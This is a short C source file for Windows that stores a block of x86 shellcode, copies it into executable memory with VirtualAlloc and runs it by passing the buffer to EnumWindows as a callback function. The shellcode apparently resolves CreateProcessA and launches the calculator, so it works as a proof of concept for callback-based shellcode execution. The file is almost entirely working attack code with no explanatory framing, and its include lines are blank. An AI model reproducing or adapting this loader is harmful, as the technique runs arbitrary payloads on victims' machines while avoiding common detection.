//#include "stdafx.h" #include #include static BOOL CALLBACK EnumWindowCallback(HWND hWnd, LPARAM lparam) { //printf("%S", lparam); return true; } int main() { char shellcode[] = "\x31\xdb\x64\x8b\x7b\x30\x8b\x7f" "\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b" "\x77\x20\x8b\x3f\x80\x7e\x0c\x33" "\x75\xf2\x89\xc7\x03\x78\x3c\x8b" "\x57\x78\x01\xc2\x8b\x7a\x20\x01" "\xc7\x89\xdd\x8b\x34\xaf\x01\xc6" "\x45\x81\x3e\x43\x72\x65\x61\x75" "\xf2\x81\x7e\x08\x6f\x63\x65\x73" "\x75\xe9\x8b\x7a\x24\x01\xc7\x66" "\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7" "\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9" "\xb1\xff\x53\xe2\xfd\x68\x63\x61" "\x6c\x63\x89\xe2\x52\x52\x53\x53" "\x53\x53\x53\x53\x52\x53\xff\xd7"; HANDLE hAlloc = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); memcpy(hAlloc, shellcode, sizeof(shellcode)); EnumWindows((WNDENUMPROC)hAlloc, NULL); }